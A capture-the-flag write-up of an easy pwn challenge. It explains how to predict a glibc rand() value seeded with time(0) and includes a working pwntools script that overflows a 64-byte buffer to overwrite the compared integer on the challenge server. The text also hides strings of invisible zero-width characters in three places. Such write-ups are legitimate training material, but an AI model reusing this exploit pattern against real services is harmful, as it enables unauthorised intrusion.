Auto Overflow 2

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: glibc_rand_reimplementation, random_number_prediction, time_based_seed_exploitation

Summary

Task: overflow a buffer to match a random integer comparison value generated with srand(time(0)). Solution: predict the rand() output by calling glibc srand/rand with the current Unix timestamp via ctypes, then send 64 bytes padding plus the predicted value in little-endian.

Auto Overflow 2 — SPB CTF Pwn Season

Description

"Автоматизируйте переполнение (сложнее)"
(Automate the overflow - harder)

Server: nc 109.233.56.90 11588
Binary: mc8_censored — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Similar to mc7, but the target is a random integer, not a string. The server uses time(0) to seed srand(), then calls rand(). We must predict the random number by reimplementing glibc's RNG with the same seed.

Memory Layout:

• Buffer: 0x601060
• Comparison variable (number1): 0x6010a0
• Distance: 64 bytes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Challenge: alarm(1) enforces a 1-second time limit, so we must predict the random number quickly.

Solution

1. Get current Unix timestamp
2. Use ctypes to call glibc's srand() and rand() with same seed
3. Send 64 bytes padding + predicted random number (little-endian)

 python read-only • copy allowed Copy
from pwn import *
import ctypes
import time

# Load glibc for random number generation
libc = ctypes.CDLL('libc.so.6')

io = remote('109.233.56.90', 11588)

# Predict random number using current time as seed
current_time = int(time.time())
libc.srand(current_time)
predicted = libc.rand()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Send 64 bytes padding + predicted random number (little-endian)
payload = b'A' * 64 + p32(predicted)
io.sendline(payload)

io.interactive()

Note: May need to try current_time ± 1 to account for network latency. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍